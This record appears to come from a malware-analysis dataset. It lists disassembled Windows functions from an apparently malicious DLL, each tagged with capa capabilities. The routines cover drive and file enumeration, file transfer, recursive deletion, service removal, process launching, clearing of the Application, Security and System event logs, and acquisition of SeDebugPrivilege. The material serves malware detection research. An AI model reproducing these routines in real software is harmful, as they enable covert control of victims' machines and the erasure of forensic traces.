joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002ab0
Capabilities:
Get user security identifier

Disassembly:
sub esp, 0x210
mov eax, pe_nt_image_headers32
mov dword [esp + 4], eax
mov dword [esp + 8], eax
mov eax, dword [ecx + 0x14]
test eax, eax
jne 0x10002ad1
add esp, 0x210
ret
lea ecx, [esp + 0xc]
lea edx, [esp + 8]
push ecx
lea ecx, [esp + 0x114]
push edx
push ecx
lea edx, [esp + 0x10]
lea ecx, [esp + 0x1c]
push edx
push ecx
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
jne 0x10002b01
add esp, 0x210
ret
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
jne 0x10002b17
add esp, 0x210
ret
push esi
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
push str.ConvertSidToStringSidA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10002b41
lea ecx, [esp + 4]
lea edx, [esp + 0x14]
push ecx
push edx
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esp + 4]
pop esi
add esp, 0x210
ret
Function at 0x10003960
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019538
push 0x10017bf2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x10003abd
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x10003a0c
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x10003a0c
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100039e7
cmp al, 0x5c
je 0x100039e7
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x100039cf
cmp byte [esi], 0
je 0x100039f0
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10003a05
cmp al, 0x5c
je 0x10003a05
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x100039ed
cmp byte [esi], 0
je 0x10003a2b
jmp 0x10003a27
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x10003a2b
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10003a2b
cmp al, 0x5c
jne 0x10003a2b
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x10003a81
cmp al, 0x5c
jne 0x10003a73
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x10003a66
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10003a70
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10003a70
push edi
jmp 0x10003ab4
and eax, 0x10
cmp al, 0x10
je 0x10003a70
push edi
jmp 0x10003ab4
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x10003a31
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10003b40
Capabilities:
Get disk information
Get disk size

Disassembly:
sub esp, 0x78c
push ebx
push ebp
push esi
lea eax, [esp + 0x138]
push edi
push eax
mov dword [esp + 0x2c], ecx
push pe_nt_image_headers32
mov byte [esp + 0x3a4], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
xor esi, esi
push str.Shell32.dll
lea ebp, [esp + 0x140]
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push str.SHGetFileInfoA
push edi
mov dword [esp + 0x38], edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x34], eax
mov al, byte [esp + 0x13c]
test al, al
mov ebx, 1
je 0x10003cfe
jmp 0x10003bbb
xor esi, esi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x38]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x3c]
push ecx
push esi
push esi
push esi
push esi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x240]
push 0x160
push edx
push 0x80
push ebp
call dword [esp + 0x48]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x34c]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x38]
inc edi
push ecx
mov dword [esp + 0x30], edi
call esi
inc eax
mov dword [esp + 0x10], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x10003c6b
cmp al, 0x42
je 0x10003c6b
lea edx, [esp + 0x20]
push 0
lea eax, [esp + 0x1c]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x10003c6b
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov ecx, 0x14
call fcn.10017c00
mov edx, dword [esp + 0x1c]
mov esi, eax
mov eax, dword [esp + 0x18]
mov ecx, 0x14
call fcn.10017c00
mov dword [esp + 0x14], eax
jmp 0x10003c71
xor esi, esi
mov dword [esp + 0x14], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x3a0], cl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edx, dword [esp + 0x14]
mov ecx, edi
mov byte [esp + ebx + 0x39d], al
mov eax, ecx
mov dword [esp + ebx + 0x39e], esi
lea esi, [esp + 0x34c]
lea edi, [esp + ebx + 0x3a6]
mov dword [esp + ebx + 0x3a2], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x2c]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
lea edx, [eax + ebx]
lea esi, [esp + 0x3c]
lea edi, [esp + edx + 0x3aa]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x10003bb9
mov edi, dword [esp + 0x30]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x39c]
push ebx
push edx
call fcn.10009650
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x78c
ret
Function at 0x10003d30
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x25c
push ebx
push esi
push edi
mov esi, 0x2800
mov edi, ecx
push esi
push 0x40
mov dword [esp + 0x28], edi
mov dword [edi + 0x1c], 0
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
mov al, 0x2a
mov byte [esp + 0x13], al
mov byte [esp + 0x15], al
mov eax, dword [esp + 0x26c]
lea ecx, [esp + 0x10]
push eax
lea edx, [esp + 0x168]
push ecx
push edx
mov byte [esp + 0x1c], 0x25
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x22], 0
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [esp + 0x24]
lea ecx, [esp + 0x164]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x1c], eax
jne 0x10003dd6
lea edx, [esp + 0xf]
push 1
push edx
mov ecx, edi
mov byte [esp + 0x17], 0x68
call fcn.10009650
pop edi
pop esi
pop ebx
add esp, 0x25c
ret 4
push ebp
mov byte [ebx], 0x68
mov ebp, 1
jmp 0x10003de5
mov esi, dword [esp + 0x1c]
lea eax, [esi - 0x208]
cmp ebp, eax
jbe 0x10003e05
add esi, 0x208
push 0x42
push esi
push ebx
mov dword [esp + 0x28], esi
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebx, eax
mov edi, 0x10020234
lea esi, [esp + 0x54]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10003e36
test al, al
je 0x10003e32
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10003e36
add esi, 2
add edi, 2
test al, al
jne 0x10003e0e
xor eax, eax
jmp 0x10003e3b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10003ed5
mov edi, 0x10020230
lea esi, [esp + 0x54]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10003e74
test al, al
je 0x10003e70
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10003e74
add esi, 2
add edi, 2
test al, al
jne 0x10003e4c
xor eax, eax
jmp 0x10003e79
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10003ed5
mov al, byte [esp + 0x28]
lea ecx, [esp + 0x54]
and al, 0x10
push ecx
mov byte [ebx + ebp], al
inc ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea esi, [esp + 0x54]
mov edx, ecx
lea edi, [ebx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add ebp, eax
and ecx, 3
inc ebp
rep movsb byte es:[edi], byte [esi]
mov byte [ebx + ebp - 1], 0
mov eax, dword [esp + 0x44]
mov dword [ebx + ebp], eax
mov ecx, dword [esp + 0x48]
mov dword [ebx + ebp + 4], ecx
mov edx, dword [esp + 0x3c]
add ebp, 8
mov dword [ebx + ebp], edx
mov eax, dword [esp + 0x40]
mov dword [ebx + ebp + 4], eax
add ebp, 8
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0x28]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10003de1
mov ecx, dword [esp + 0x24]
push ebp
push ebx
call fcn.10009650
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x25c
ret 4
Function at 0x10003f20
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x454
push ebx
push ebp
mov al, 0x2a
push esi
mov esi, dword [esp + 0x464]
mov ebx, ecx
mov byte [esp + 0xf], al
mov byte [esp + 0x11], al
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x10]
push esi
lea ecx, [esp + 0x364]
push eax
push ecx
mov byte [esp + 0x1c], 0x25
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x22], 0
call edi
add esp, 0xc
lea edx, [esp + 0x18]
lea eax, [esp + 0x360]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x10003f98
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x454
ret 4
cmp byte [esp + 0x44], 0x2e
je 0x10003feb
mov al, byte [esp + 0x18]
lea ecx, [esp + 0x44]
push ecx
push esi
test al, 0x10
push 0x100200f4
je 0x10003fd0
lea edx, [esp + 0x164]
push edx
call edi
add esp, 0x10
lea eax, [esp + 0x158]
mov ecx, ebx
push eax
call fcn.10003f20
jmp 0x10003feb
lea edx, [esp + 0x268]
push edx
call edi
add esp, 0x10
lea eax, [esp + 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x18]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10003f98
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0x454
ret 4
Function at 0x10004020
Capabilities:
Get file size

Disassembly:
sub esp, 8
push ebx
push esi
lea edx, [ecx + 0x20]
push edi
mov dword [esp + 0x10], ecx
mov ebx, dword [esp + 0x18]
mov ecx, 0x41
xor eax, eax
mov edi, edx
push 0
rep stosd dword es:[edi], eax
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov eax, ecx
mov esi, edi
mov edi, edx
push 3
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 1
push connect
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10004084
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 8
ret 4
lea ecx, [esp + 0xc]
push ebp
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x10]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x1c]
push esi
mov dword [ebx + 1], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
call fcn.10009650
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 8
ret 4

Function at 0x10004120
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push edi
mov eax, dword [ebx + 4]
mov ebp, ecx
cmp eax, 0xffffffff
jne 0x1000413e
call fcn.10004200
pop edi
pop ebp
xor eax, eax
pop ebx
ret 4
push 0
push 0x80
push 3
push 0
push 1
lea eax, [ebp + 0x20]
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10004169
pop edi
pop ebp
or eax, eax
pop ebx
ret 4
mov ecx, dword [ebx + 4]
push esi
push 0
push ebx
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea ecx, [esp + 0x14]
push 0
push ecx
mov byte [esi], 0x6a
mov edx, dword [ebx]
mov dword [esi + 1], edx
mov eax, dword [ebx + 4]
lea edx, [esi + 9]
push 0x1ff7
push edx
push edi
mov dword [esi + 5], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x100041e1
add eax, 9
mov ecx, ebp
push eax
push esi
call fcn.10009650
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4
mov ecx, ebp
call fcn.10004200
mov edi, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4
Function at 0x10004870
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov eax, dword [ebx]
push edi
mov ebp, dword [ebx + 4]
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 2
lea ecx, [edi + 0x20]
push 0x40000000
push ecx
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x24]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x10]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x70
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.10009650
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8

Function at 0x10004c10
Capabilities:
Delete registry key
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019548
push 0x10017bf2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x530
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x540], edi
mov dword [ebp - 0x13c], edi
mov dword [ebp - 4], edi
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov dword [ebp - 0x13c], ebx
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x540], esi
cmp ebx, edi
jne 0x10004c7c
cmp esi, edi
je 0x10004cf7
lea ecx, [ebp - 0x138]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x10004cf7
cmp dword [ebp - 0x134], 1
je 0x10004cb6
lea edx, [ebp - 0x138]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x10004cf7
push 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x53c]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
push eax
push str.SYSTEMCurrentControlSetServices_s
lea ecx, [ebp - 0x53c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x53c]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov dword [ebp - 4], 0xffffffff
call fcn.10004d20
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004da0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x108
mov ecx, dword [esp + 0x10c]
push esi
push edi
lea eax, [esp + 0xc]
push 0x104
push eax
push ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 1
lea edx, [esp + 0x20]
push connect
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10004df4
pop edi
xor eax, eax
pop esi
add esp, 0x108
ret
push 2
push 0
push 0xfffffc00
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
lea eax, [esp + 8]
push 0
push eax
push 0x400
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x118]
push 0
push 0x400
push ecx
push edi
call fcn.10004d40
add esp, 0x10
cmp eax, 0xffffffff
jne 0x10004e5f
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
add esp, 0x108
ret
add eax, edi
pop edi
pop esi
add esp, 0x108
ret

Function at 0x100057f0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x10005812
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.100108a0
add esp, 8
test al, al
jne 0x10005826
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.DJXUP
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret
Function at 0x10005880
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x160
or ecx, 0xffffffff
xor eax, eax
push esi
mov esi, dword [esp + 0x168]
push edi
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10005975
mov ecx, 0x41
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 0xc], 0x104
push eax
push 0xf003f
push 0
push str.Applicationsiexplore.exe_shellopencommand
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10005975
lea ecx, [esp + 0xc]
lea edx, [esp + 0x64]
push ecx
push edx
push eax
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x64]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10005975
lea eax, [esp + 0x64]
push 0x1002032c
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x10005975
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x170]
mov dword [esp + 0x20], 0x44
test eax, eax
je 0x1000594f
mov dword [esp + 0x28], str.WinSta0Default
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x80]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop esi
add esp, 0x160
ret

Function at 0x10005980
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x100059d0
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x100059b7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x10005c00
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10005c21
xor al, al
add esp, 0x1c
ret
lea ecx, [esp + 4]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x10005c48
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add esp, 0x1c
ret
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
push 0
push 0
lea edx, [esp + 0x14]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
push 0x10
push edx
push 0
push eax
mov dword [esp + 0x24], 1
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x10005c95
mov ecx, dword [esp]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add esp, 0x1c
ret
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add esp, 0x1c
ret